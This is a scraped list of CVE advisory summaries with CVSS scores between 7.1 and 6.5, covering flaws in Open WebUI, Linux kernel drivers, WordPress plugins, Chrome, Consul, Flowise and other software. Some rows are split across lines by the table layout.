CVE-2026-87998	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.10.0 until 0.11.1, DELETE /api/v1/knowledge/{id}/delete in backend/open_webui/routers/knowledge.py authorized deletion against the knowledge base but then removed its administrator-owned external connection without a separate administrator check or a check for other dependent knowledge bases. A non-administrator with write access to one external knowledge base could delete shared instance configuration and make every other knowledge base using that connection unavailable. This issue is fixed in version 0.11.1.	7.1	More Details
CVE-2026-62089	Missing Authorization vulnerability in Pixar Labs Master Addons for Elementor allows Privilege Abuse. This issue affects Master Addons for Elementor: from n/a through 3.2.2.	7.1	More Details
CVE-2026-87999	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. Prior to 0.11.1, POST /api/v1/retrieval/process/web and POST /api/v1/retrieval/process/web/search in backend/open_webui/retrieval/web/utils.py treated Python's globally routable address classification as proof that a destination was external. An authenticated user could make an Azure-hosted instance fetch and return content from 168.63.129.16, the Azure platform channel, as well as other reserved ranges that the standard classification did not reject. This issue is fixed in version 0.11.1.	7.1	More Details
CVE-2026-89443	In the Linux kernel, the following vulnerability has been resolved: platform/x86: ISST: Validate level in perf mask ioctls isst_if_get_perf_level_mask() and isst_if_get_base_freq_mask() use the user-provided level as an index into perf_levels[] via _read_pp_level_info() and _read_bf_level_info(), but neither helper validates it first. The adjacent level-info helpers reject levels above max_level before reading the same per-level register block. Add the same bounds checks to the mask helpers, and reject disabled SST-PP levels in isst_if_get_perf_level_mask() to match isst_if_get_perf_level_info(). This prevents out-of-bounds reads from the per-level offset table on invalid ioctl input.	7.1	More Details
CVE-2026-21100	Improper access control in SystemUI prior to SMR Sep-2026 Release 1 allows local attackers to launch arbitrary activity.	7.1	More Details
CVE-2026-49315	DoS vulnerability in the input device module. Impact: Successful exploitation of this vulnerability may affect availability.	7.1	More Details
CVE-2026-88021	Consul and Consul Enterprise are vulnerable to an authorization bypass in the Connect service mesh that may allow a service to reach a destination it is not authorized to access. When building Envoy RBAC rules to enforce Connect intentions, Consul did not correctly escape certain characters in service names, namespaces, and partitions, causing the generated authorization rules to match more broadly than intended. This vulnerability (CVE-2026-88021) is fixed in Consul 2.0.4 and Consul Enterprise 1.21.18, 1.22.12 and 2.0.4.	7.1	More Details
CVE-2026-89639	In the Linux kernel, the following vulnerability has been resolved: cifs: use cifs_invalidate_cache() in cifs_do_truncate() for O_TRUNC cifs_do_truncate() is invoked from cifs_open() without i_rwsem, so it cannot use cifs_resize_file_locked() to perform a proper fscache cookie resize. Instead, add cifs_invalidate_cache() after cifs_setsize(). cifs_invalidate_cache() calls fscache_invalidate(), which works without holding i_rwsem: it unconditionally increments inval_counter and sets FSCACHE_COOKIE_NO_DATA_TO_READ, ensuring that stale cached data is not served once the cookie is later activated by fscache_use_cookie(). Truncation to zero leaves no valid cached data, making invalidation the correct semantic here.	7.1	More Details
CVE-2026-4130	There is a storage of sensitive information in cleartext vulnerability in NI SystemLink. This vulnerability may allow an attacker with local access to obtain sensitive information stored by the system in the clear. This vulnerability affects NI SystemLink and NI SystemLink Server 2026 Q3 and prior versions.	7.1	More Details
CVE-2026-88027	Improper neutralization of special elements in data query logic in the embedded-document relation handling of the MongoDB integration for Laravel can cause a caller-supplied embedded record identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence such an identifier may delete all embedded documents in a targeted record or overwrite an embedded document other than the intended target.	7.1	More Details
CVE-	In the Linux kernel, the following vulnerability has been resolved: cxl/features: bound fwctl command payload to the input buffer fwctl_cmd_rpc() copies cmd->in_len bytes into inbuf = kvzalloc(cmd->in_len) and passes inbuf and in_len to ->fw_rpc(). The CXL callback cxlctl_fw_rpc() ignores in_len and never checks the user-controlled op_size against it. cxlctl_set_feature() bounds op_size only from below (op_size <= sizeof(feat_in->hdr)) and then reads op_size - sizeof(hdr) bytes from feat_in->feat_data via cxl_set_feature(). With a small		

2026-89571	in_len and a large op_size the first memcpy() already reads past the kvzalloc(in_len) buffer; the out-of-bounds bytes are placed in the mailbox payload and sent to the device, and a large enough op_size can walk into unmapped memory and oops the kernel. The Get paths pin op_size to a fixed size but likewise read the input struct without checking in_len. Reject, at the single dispatch point, any request whose fixed header plus op_size does not fit in the copied-in buffer. The lower-bound test guards the subtraction and ensures op_size was copied in before it is read.	7.1	More Details
CVE-2026-89640	In the Linux kernel, the following vulnerability has been resolved: cifs: fix loff_t underflow in cifs_remap_file_range() when len == 0 With len == 0 (clone to EOF), the effective length is computed as: len = src_inode->i_size - off; If off > i_size, this is a negative loff_t, corrupting the ByteCount in the FSCTL_DUPLICATE_EXTENTS_TO_FILE request and inverting the range in filemap_write_and_wait_range(). The existing off >= i_size check fires only after the ioctl has already been sent. Snapshot i_size_read() once for both the bounds check and the length calculation, eliminating the TOCTOU and 32-bit torn-read risk. Reject off > src_size with -EINVAL. Treat off == src_size as a no-op, consistent with __generic_remap_file_range_prep().	7.1	More Details
CVE-2026-81429	The Export & Import WPBakery Page Builder WordPress plugin through 1.0.2 does not perform any CSRF check on its template-import feature and does not sanitise the imported data before storing it and echoing it back, allowing attackers to make a logged-in administrator import a crafted template via a forged request that results in Stored Cross-Site Scripting executed in the administrator's session.	7.1	More Details
CVE-2026-89459	In the Linux kernel, the following vulnerability has been resolved: s390/percpu: Fix MVIY_PERCPU() with older binutils Commit a737737cdb9c ("s390/percpu: Infrastructure for more efficient this_cpu operations") introduced MVIY_PERCPU(), which stringifies arguments that are already C string literals. This generates an assembler macro invocation with whitespace-separated quoted arguments: GEN_MVIY "459712" "%r3" GNU as versions prior to binutils 2.39 drop the separating whitespace between quoted macro arguments during input scrubbing. They consequently parse the invocation as a single argument and emit repeated warnings: Warning: missing closing `"' The .ifc in GEN_MVIY never matches and GNU as exits successfully without emitting the mviy instruction. As a result, the interrupted per-CPU sequence is not marked in lowcore and the exception return path cannot repair the per-CPU address register after migration. All MVIY_PERCPU() callers pass C string literals. Use them directly and separate the assembler macro arguments with an explicit comma. The resulting invocation is: GEN_MVIY 459712, %r3 This form is unambiguous for GNU as and LLVM's integrated assembler. This behavior was fixed in GNU as from binutils 2.39, but Linux supports binutils 2.30.	7.0	More Details
CVE-2026-56711	VLC media player versions 3.0.0 through 3.0.23 contain a memory-safety vulnerability reachable when processing crafted media. Exploitation requires user interaction and may result in application termination or code execution with the privileges of the VLC process.	7.0	More Details
CVE-2026-88885	Renovate before 44.14.7 contains a command injection vulnerability in the gomod manager when processing unescaped depName parameters in import-path update commands with binarySource=docker mode. Attackers can inject shell metacharacters through malicious dependency names to execute arbitrary commands as the Renovate user during Go module major version updates with postUpdateOptions gomodUpdateImportPaths enabled.	7.0	More Details
CVE-2026-89456	In the Linux kernel, the following vulnerability has been resolved: s390/dasd: Propagate partial completion length across ERP recovery dasd_default_erp_postaction() copies the timing and device state from the finished ERP request back to the original request but drops proc_bytes. A request that was partially completed, an ESE read of a not-yet-allocated track returns fewer bytes than requested, and then recovered through the ERP chain loses its partial-completion length. __dasd_cleanup_cqr() then sees proc_bytes == 0 and completes the whole request instead of requeueing the remainder, silently returning zeroed data for the part that was never read. Carry proc_bytes over to the original request like the other per-request state.	7.0	More Details
CVE-2026-87088	Tanium addressed an unauthorized code execution vulnerability in Enforce.	7.0	More Details
CVE-2026-57842	NetBSD contains a use-after-free and double-free vulnerability in msg_recv_copyin() within the COMPAT_NETBSD32 compatibility layer due to a missing return statement before the cleanup label on the success path. Any local user able to execute a 32-bit binary on a 64-bit NetBSD system can trigger a kernel panic or memory corruption by calling recvmsg() with msg_iovlen between 9 and IOV_MAX, causing the kernel to access a freed iovec buffer and subsequently free the same allocation a second time.	7.0	More Details
CVE-2026-88924	A flaw was found in the admin backend of gvfs. The privileged gvfsd-admin daemon changes the ownership of newly created private D-Bus sockets by calling the link-following chown() function on a pathname inside a user-controlled directory. A local attacker can exploit this via a Time-of-Check Time-of-Use (TOCTOU) race condition and exchange the socket pathname with a symbolic link pointing to an arbitrary root-owned file (such as /etc/pam.d/su). The daemon subsequently follows the symlink and changes the ownership of the targeted root-owned file to the attacker's user ID. This allows an authenticated local attacker to modify critical system files, leading to a full local privilege escalation to root.	7.0	More Details
CVE-	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00,		More

2026-79636	contains an Improper Validation of Certificate with Host Mismatch vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.	7.0	Details
CVE-2026-88888	Renovate before 44.14.7 contains a command injection vulnerability in the Mix manager when processing private dependencies with unescaped organization parameters. Attackers can inject shell metacharacters through malicious package names to execute arbitrary commands as the Renovate user in binarySource=docker mode.	7.0	More Details
CVE-2026-90474	MCPHub before 1.0.32 contains an authentication bypass vulnerability in its embedded OAuth 2.0 authorization server where client authentication is disabled by default and PKCE enforcement is optional. Attackers who obtain an authorization code through interception can redeem it for access tokens without providing a client secret or PKCE verifier, gaining access to victim accounts and their privileges.	6.8	More Details
CVE-2026-42808	An issue was discovered in Bosch Sensortec COINES_SDK versions 2.0 through 2.11. The host streaming API function {{coines_read_stream_sensor_data()}} fails to validate the boundaries of the caller-provided destination buffer. Internally, the stream processing mechanism in {{comm_intf_process_stream_response()}} discards the requested {{number_of_samples}} argument and copies the entirety of the streaming ring buffer's accumulated data into {{coines_stream_rsp_buf}}. Subsequently, {{coines_read_stream_sensor_data()}} unconditionally executes a {{memcpy}} of the ring buffer size into the caller-provided buffer without verifying if the destination memory allocation is large enough. A malicious or compromised hardware board connected via USB or BLE can exploit this by streaming a high volume of sensor samples, causing a heap or stack-based buffer overflow on the host desktop environment. This can result in a Denial of Service (DoS) or potential arbitrary code execution on the host machine.	6.8	More Details
CVE-2026-86790	The WP Highlight Box WordPress plugin through 1.0 does not escape some shortcode attributes before outputting them in a page where the shortcode is embedded, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.	6.8	More Details
CVE-2026-86780	The Featured Image with URL WordPress plugin before 1.0.6 does not sanitise and escape a stored image attribute value before outputting it, which could allow users with a role as low as Contributor to perform Stored Cross-Site Scripting attacks that execute in the browser of any user viewing the affected post, including higher-privileged users such as Editors and Administrators.	6.8	More Details
CVE-2026-87812	SiYuan before v3.8.2 contains a stored cross-site scripting vulnerability in Bazaar package cards where the iconURL metadata is inserted directly into HTML img src attributes without escaping. Attackers can inject malicious URLs with event handlers that execute JavaScript in the authenticated SiYuan origin when users view Bazaar listings, enabling API requests and application state manipulation.	6.8	More Details
CVE-2026-87015	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.6.27 until 0.11.1, backend/open_webui/utils/tools.py captured a cookie jar from the enclosing connection loop instead of binding it to each external tool callable. When multiple tool servers were attached and a session or system OAuth connection was processed last, a request to a different server configured for bearer authentication could include the calling user's Open WebUI session cookies, allowing that server's operator to reuse the session and take over the account. This issue is fixed in version 0.11.1.	6.8	More Details
CVE-2026-52097	An issue in AppFlowy 0.11.8 allows a remote attacker to execute arbitrary code via the afLaunchUri, _afLaunchLocalUri (url_launcher.dart), OpenFilex.open, localPathRegex (common_patterns.dart) components	6.8	More Details
CVE-2026-85678	The AI Builder WordPress plugin before 2.7.8 does not sanitise custom JavaScript saved against a post before echoing it inside a script tag on the front end, allowing users with contributor level access and above to store arbitrary JavaScript that will execute in the browser of anyone who views the post, including the editor or administrator who reviews it.	6.8	More Details
CVE-2026-82847	The Masteriyo LMS WordPress plugin before 3.4.1 does not sanitise and escape one of its course fields before outputting it back in the course editor, allowing users with the instructor role to perform Stored Cross-Site Scripting attacks against higher privileged users such as administrators.	6.8	More Details
CVE-2026-83545	The CoolClock WordPress plugin before 4.3.8 does not properly escape a custom skin setting before outputting it inside an inline script, allowing users with contributor-level access and above to inject arbitrary JavaScript that executes when the content is viewed.	6.8	More Details
CVE-2026-81052	Dell ThinOS 10, versions prior to 2605_10.2616, contain a Download of Code Without Integrity Check vulnerability. An unauthenticated attacker with physical access could potentially exploit this vulnerability, leading to arbitrary code execution.	6.8	More Details
CVE-2026-83532	The Custom Menu Wizard Widget WordPress plugin through 3.3.1 does not sanitize and escape several shortcode attributes before rendering them into HTML, allowing users with contributor-level access and above to inject arbitrary web scripts that execute when the affected content is viewed.	6.8	More Details
CVE-	The Sina Extension for Elementor WordPress plugin before 3.10.4 does not properly escape a Table widget		More

2026-83541	setting before outputting it within an HTML attribute, which could allow users with the Contributor role and above to perform Stored Cross-Site Scripting attacks.	6.8	Details
CVE-2025-46808	An Insertion of Sensitive Information into Log File vulnerability in SUSE neuvector manager exposes sensitive information into the manager container’s log This issue affects neuvector: before 5.4.5.	6.8	More Details
CVE-2026-87872	A flaw was found in the OCAPI modules (ocapi_command, ocapi_info) of the community.general Ansible collection. The shared OCAPI request helper disables TLS certificate validation on every request and the modules expose no parameter to re-enable it, while sending HTTP Basic-Auth credentials to an https endpoint. An attacker positioned on the network path between the Ansible controller and the OCAPI-managed storage/enclosure device can present any certificate, intercept the session, capture the credentials, and tamper with responses.	6.8	More Details
CVE-2025-15690	The Content Mask WordPress plugin before 1.8.5.6 does not properly sanitise and escape content submitted with a post before outputting it in the pages it generates, allowing users with a role as low as Contributor to perform Stored Cross-Site Scripting attacks against any user viewing or previewing the affected page. The Content Mask WordPress plugin before 1.8.5.6's option to restrict its use by role does not prevent this.	6.8	More Details
CVE-2026-85083	The ANJIA AJL33PC0801 IP camera uses a hard-coded credential for bootloader authentication. An attacker with physical access to the device may leverage this weakness to gain privileged bootloader access, allowing unauthorized modification of firmware and system configuration and potentially resulting in complete device compromise.	6.8	More Details
CVE-2026-83546	The CoolClock WordPress plugin before 4.3.8 does not properly escape a skin setting before outputting it within an HTML attribute, allowing users with contributor-level access and above to inject arbitrary web scripts that execute when the content is viewed.	6.8	More Details
CVE-2022-42917	In FRRouting FRR before 8.5, the service user (usually frr) can escalate its privileges to root by monitoring the configuration directory (/etc/frr) and replacing config files upon creation with, for example, symlinks to change the ownership of arbitrary files. This is a TOCTOU Race Condition caused by a combination of touch and chown.	6.7	More Details
CVE-2026-21101	Improper input validation in DualDAR driver prior to SMR Sep-2026 Release 1 allows local privileged attackers to potentially execute arbitrary code with root privilege.	6.7	More Details
CVE-2026-21093	Stack-based buffer overflow in PROCA trustlet prior to SMR Sep-2026 Release 1 allows local privileged attackers to write out-of-bounds memory.	6.7	More Details
CVE-2026-9176	IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to a security bypass due to improper authentication controls. A local attacker could exploit this vulnerability to escalate privileges and gain unauthorized access to protected resources.	6.7	More Details
CVE-2026-21104	Heap-based buffer overflow in KnoxVault trustlet prior to SMR Sep-2026 Release 1 allows local privileged attackers to execute arbitrary code.	6.7	More Details
CVE-2026-21085	Out-of-bounds write in Keymaster trustlet prior to SMR Sep-2026 Release 1 allows local privileged attackers to write out-of-bounds memory.	6.7	More Details
CVE-2026-21102	Use after free in DualDAR prior to SMR Sep-2026 Release 1 allows local privileged attackers to execute arbitrary code with root privilege.	6.7	More Details
CVE-2026-21097	Improper authentication in ActivityTaskManagerService prior to SMR Sep-2026 Release 1 allows local privileged attackers to launch arbitrary activity.	6.7	More Details
CVE-2026-70425	Dell PowerScale OneFS, Versions 9.5.0.0 through 9.7.1.0, Versions 9.8.0.0 through 9.10.1.0, and Versions 9.11.0.0 through 9.14.0.1, contain a command injection vulnerability. An admin privileged local attacker could potentially exploit this vulnerability, leading to elevation of privileges to root, impacting confidentiality, integrity, and availability.	6.7	More Details
CVE-2026-81051	Dell ThinOS 10, versions prior to 2605_10.2616, contain a Security Version Number Mutable to Older Versions vulnerability. A low privileged attacker with physical access could potentially exploit this vulnerability, leading to Protection mechanism bypass.	6.6	More Details
	The Ninja Forms – The Contact Form Builder That Grows With You plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.14.6 via deserialization of untrusted input . This makes it possible for authenticated attackers, with administrator-level access and above, to inject a PHP Object. No		

CVE-2026-11363	known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present. The deserialization is triggered automatically during form import when WPN_Helper::build_nf_cache() invokes $action->get_settings() immediately after the crafted form is imported, requiring no further interaction beyond the import action itself.	6.6	More Details
CVE-2026-14505	Tanium addressed a path traversal vulnerability in Tanium Data Service.	6.6	More Details
CVE-2026-89158	PCRE2 before 10.48, on 32-bit platforms, has a pcre2_compile_32 integer overflow and resultant out-of-bounds write.	6.5	More Details
CVE-2026-89044	Netty versions 4.1.133.Final through 4.1.137.Final and 4.2.13.Final through 4.2.17.Final fail to properly validate the final transfer coding in the Transfer-Encoding header, allowing attackers to smuggle requests by using malformed encoding declarations. Attackers can split Transfer-Encoding headers across multiple lines or use values like 'chunked, xchunked' to bypass validation and decode messages as chunked when the final coding is not chunked, enabling request smuggling attacks.	6.5	More Details
CVE-2026-90767	Froxlor before 2.3.12 fails to properly validate multi-line SSH public keys in the SshKeys::add() endpoint, allowing customers to inject arbitrary lines into authorized_keys files. Attackers can inject malicious SSH key entries with option directives to gain persistent unauthorized access that survives key deletion and SSH access revocation.	6.5	More Details
CVE-2026-62111	Contributor Cross Site Scripting (XSS) in Simple Payment <= 2.5.4 versions.	6.5	More Details
CVE-2026-87106	Consul and Consul Enterprise are vulnerable to a denial of service in the native RPC listener that may allow an authenticated client to exhaust server memory before ACL authorization is evaluated. A client that can complete the internal RPC mTLS handshake may exploit this issue without holding a valid ACL token. This vulnerability (CVE-2026-87106) is fixed in Consul 2.0.4 and Consul Enterprise 1.21.18, 1.22.12 and 2.0.4.	6.5	More Details
CVE-2026-62110	Contributor Cross Site Scripting (XSS) in Bold Page Builder <= 5.9.9 versions.	6.5	More Details
CVE-2026-87443	Missing authorization in Actor in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-79513	A divide-by-zero vulnerability in the gf_dash_get_timeline_duration function (src/media_tools/dash_client.c) of GPAC v26.07.0 allows attackers to cause a Denial of Service (DoS) via a crafted MPD SegmentTimeline. Fixed in 2fd5a06ab226767900fd86edb5a1e8bfc1010640.	6.5	More Details
CVE-2026-62138	Contributor Cross Site Scripting (XSS) in Visual Composer Website Builder <= 45.16.1 versions.	6.5	More Details
CVE-2026-84023	The BEAR WordPress plugin before 1.2.2 does not verify a CSRF nonce or check user capabilities before updating taxonomy terms, allowing an attacker to modify arbitrary terms by tricking a logged-in privileged user into visiting a crafted page.	6.5	More Details
CVE-2026-87446	Incomplete cleanup in Extensions in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted Chrome extension. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-87447	Incorrect authorization in Network in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted Chrome extension. (Chromium security severity: High)	6.5	More Details
CVE-2026-89251	AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to validate ad impressions in plugin/AD_Server/log.php, allowing logged-in users to submit arbitrary label values that trigger unverified wallet credits to campaign video owners. Attackers can repeatedly POST label=start requests to mint YPTWallet balance for any campaign video without proof an ad actually played.	6.5	More Details
CVE-2026-79728	Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Relative Path Traversal vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to filesystem access for attacker.	6.5	More Details

CVE-2026-19778	The WPMR Google Feed Manager for WooCommerce – Sell on Google Merchant Center & Shopping plugin for WordPress is vulnerable to time-based SQL Injection via the 'feed' parameter in all versions up to, and including, 2.23.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	6.5	More Details
CVE-2026-87441	Missing authorization in Downloads in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to bypass system access restrictions via a crafted Chrome extension. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-87437	Information leak in Frames in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to leak sensitive information via a crafted HTML page. (Chromium security severity: Low)	6.5	More Details
CVE-2026-89245	WWBN AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 contains a cross-site request forgery vulnerability in playlistRemove.php that allows attackers to delete playlists by skipping CSRF protection checks. Attackers can craft a malicious form that submits a POST request to playlistRemove.php, causing a victim's playlist to be deleted when they visit the attacker's page while logged in.	6.5	More Details
CVE-2026-90534	Flowise is a low-code platform for building LLM applications. In versions up to and including 3.1.3, the POST /api/v1/node-load-method/:name endpoint is mounted without any route-level permission check and invokes component loadMethods with an attacker-controlled nodeName, loadMethod, inputs, and credential value. The selected credential is resolved by raw Credential.id via getCredentialData() and decrypted without verifying Credential.workspaceId against the caller's active or shared workspace, unlike other credential read paths which are workspace-scoped. As a result, an authenticated low-privilege user (or workspace API key) in one workspace can supply a credential ID owned by another workspace and cause Flowise to act as a confused deputy, performing third-party provider calls with the victim workspace's credential and returning provider metadata to the attacker. Statically identified affected load methods include Google Drive listFiles, Google Sheets listSpreadsheets, and AWS DynamoDB KV Storage listTables. The raw credential secret itself is not returned to the attacker. This issue is fixed in version 3.1.4.	6.5	More Details
CVE-2026-85116	The Simple CAPTCHA with Cloudflare Turnstile WordPress plugin from 1.2.2 before 1.42.3 runs the shortcode parser over the whole rendered Contact Form 7 form, including the values a visitor submitted, allowing unauthenticated users to execute arbitrary shortcodes registered on the site.	6.5	More Details
CVE-2023-54396	PocketMine-MP versions before 4.8.1 fail to validate dye color IDs in banner NBT data during deserialization. Attackers can provide invalid color values in inventory transactions or via commands to trigger undefined offset errors and crash the server.	6.5	More Details
CVE-2026-49463	NL Portal Backend Libraries provide backend components for Dutch government portals that interact with residents, customers, suppliers, and partner organizations. The `nl.nl-portal:documenten-api` package through version 3.0.0 and the `nl.nl-portal:besluiten` package from version 1.5.0 through 3.0.0 lack per-user authorization in GraphQL resolvers, allowing an authenticated user to access other users' document contents, decisions, audit trails, and decision attachments. Version 3.0.1 contains a patch. As a workaround, block the affected document-content and decision-related GraphQL operations at the API gateway or block their GraphQL types entirely.	6.5	More Details
CVE-2026-88002	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.5.0 until 0.11.1, the message-chain reconstruction helper in backend/open_webui/utils/misc.py advanced through a chat history by map key but tracked visited entries using each message body's optional id field. An authenticated user could store id-less messages in a parent cycle and trigger a non-terminating walk that blocked the async event loop, grew memory until termination, and remained persistent across process restarts. This issue is fixed in version 0.11.1.	6.5	More Details
CVE-2026-88026	Improper neutralization of regular-expression metacharacters in the LINQ query translation component of the MongoDB C# Driver can cause a caller-supplied character sequence to alter a regular-expression predicate generated by an affected application. An authenticated user who can influence such a value may cause the application to return records beyond those intended by the original filter.	6.5	More Details
CVE-2026-86812	The WPCafe WordPress plugin before 3.0.18 does not correctly restrict access to a set of order-management REST endpoints because their permission callbacks return an incorrect type on failure, allowing unauthenticated users to disclose guest order information and to change the status of, or trash, any order.	6.5	More Details
CVE-2026-88028	Improper neutralization of special elements in data query logic in the polymorphic relation handling of the MongoDB integration for Laravel can cause a caller-supplied relation identifier to be interpreted as a query condition rather than as a literal identifier. An authenticated user who can influence a stored relation identifier may cause an affected application to return a document other than the intended relation target.	6.5	More Details
CVE-2023-	PocketMine-MP versions >= 4.20.0 before 4.22.3 (and before 5.2.1 in the 5.x branch) fail to validate NBT tag types in BlockActorDataPacket. A player can crash the server by sending a packet containing sign NBT data with an incorrect tag type, triggering an unhandled UnexpectedTagTypeException that terminates the server	6.5	More Details

54392	process.		
CVE-2026-87503	Inappropriate implementation in Downloads in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-19855	The CleanTalk WordPress plugin before 6.87 does not prevent unauthenticated, user-supplied comment content from being passed to WordPress's shortcode engine, allowing any visitor to have arbitrary shortcodes registered on the site executed server-side and rendered to every subsequent visitor of the page.	6.5	More Details
CVE-2026-88000	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.10.0 until 0.11.1, DELETE /api/v1/chats/{id}/messages/{message_id} used the chat-history deletion helper in backend/open_webui/models/chats.py to follow childrenIds without recording visited message identifiers. An authenticated user could store a cyclic chat tree and delete a message, causing a synchronous infinite loop on the server request loop that blocked every user's requests until the process was killed. This issue is fixed in version 0.11.1.	6.5	More Details
CVE-2026-87429	Missing authorization in ServiceWorker in Google Chrome prior to 153.0.8010.36 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)	6.5	More Details
CVE-2026-87436	Incomplete cleanup in Browser in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted Chrome extension. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-90775	PostGIS address_standardizer through 3.7.0 fails to validate the Weight parameter from caller-supplied rules tables before using it as an array index. Attackers can craft malicious rule rows with out-of-range Weight values to trigger out-of-bounds reads in the load_value array, causing the PostgreSQL backend process to crash and terminate all cluster sessions.	6.5	More Details
CVE-2026-85117	The Contact Form 7 Captcha WordPress plugin before 0.1.9 runs the shortcode parser over the whole rendered Contact Form 7 form, including the values a visitor submitted, allowing unauthenticated users to execute arbitrary shortcodes registered on the site.	6.5	More Details
CVE-2026-89252	AVideo through commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to verify ownership in addLiveLink.php when updating LiveLinks, allowing authenticated users to modify other users' links. A canStream user can overwrite another user's LiveLink HLS source and metadata by supplying an existing linkId, redirecting viewers to attacker-controlled media.	6.5	More Details
CVE-2026-87493	Missing authorization in FileSystem in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-90533	Flowise before 3.1.4 contains a broken access control vulnerability in GET /api/v1/organizationuser that allows any authenticated organization member to retrieve the organization owner's full user record including bcrypt password hash and temporary tokens. Attackers can query the endpoint with any user ID to obtain the owner's credential hash for offline cracking, enabling account takeover of the highest-privileged account.	6.5	More Details
CVE-2026-90513	A flaw has been found in simalexan api-lambda-send-email-ses up to bda6869aa81371d1e872242e74fe7d953edb818d. This issue affects the function SES.sendEmail of the file template.yml of the component API Gateway Endpoint. This manipulation of the argument toEmails/ccEmails/replyToEmails/subject/message causes missing authentication. It is possible to initiate the attack remotely. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.	6.5	More Details
CVE-2026-87475	Missing authorization in Omnibox in Google Chrome prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions into a privileged page via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-87476	Incorrect authorization in Loader in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)	6.5	More Details
CVE-2026-87014	Open WebUI is an extensible, feature-rich, and user-friendly self-hosted AI platform. From 0.9.0 until 0.11.1, role synchronization in backend/open_webui/routers/auths.py and backend/open_webui/utils/oauth.py updated an administrator's database role without invalidating the user record cached by backend/open_webui/socket/main.py. An administrator demoted through a trusted role header or OAuth role mapping could keep an already-open Socket.IO connection and continue reading or editing every user's collaborative notes until that connection closed. This issue is fixed in version 0.11.1.	6.5	More Details
	A SQL injection vulnerability exists in the JasperReports-based reporting feature of multiple versions of		

CVE-2026-89089	OpenNMS Meridian and Horizon. A low-privileged authenticated user (ROLE_USER) can run the shipped, default-enabled online reports "Maintenance contracts expired" (AssetManagementMaintExpired) and "Maintenance contracts strategy" (AssetManagementMaintStrategy) via the reporting REST API (POST /rest/reports/{id}) and supply a DATE_FORMAT parameter that the report templates substitute literally, un-escaped, into their SQL queries. This lets an attacker execute arbitrary SQL against the OpenNMS database and read arbitrary data, including database-stored secrets such as provisioning and notification credentials and SNMP community strings. The solution is to upgrade to Meridian 2024.3.13, 2025.0.10 and Horizon 36.0.4 or newer. Meridian and Horizon installation instructions state that they are intended for installation within an organization's private networks and should not be directly accessible from the Internet.	6.5	More Details
CVE-2026-87477	Information leak in Core in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to leak sensitive information via a crafted HTML page. (Chromium security severity: Low)	6.5	More Details
CVE-2026-9225	IBM Langflow OSS 1.0.0 through 1.11.5 Langflow could allow an authenticated attacker to access sensitive files belonging to other users due to improper access control in the File/Read File component. When executing flows through the /api/v1/run/advanced/{flow_id} endpoint, the application allows component inputs to reference storage paths using arbitrary user or flow identifiers without verifying ownership. An attacker with low-privileged authenticated access can supply a crafted file path pointing to another user’s storage namespace, causing the backend to read and return the contents of files uploaded by other users. This vulnerability bypasses intended authorization checks enforced by the file management API and may result in unauthorized disclosure of sensitive user data.	6.5	More Details
CVE-2026-79725	IBM Langflow OSS 1.0.0 through 1.11.5 could allow a remote authenticated attacker to read arbitrary files due to improper access control.	6.5	More Details
CVE-2026-89261	MoguBlog through 6.2 exposes Elasticsearch index management endpoints in the mogu_search service without authentication, allowing remote attackers to delete, recreate, or alter the blog search index. Attackers can invoke POST endpoints to wipe the entire search index, delete specific documents, or inject malicious index entries, causing search functionality to return incorrect or no results.	6.5	More Details
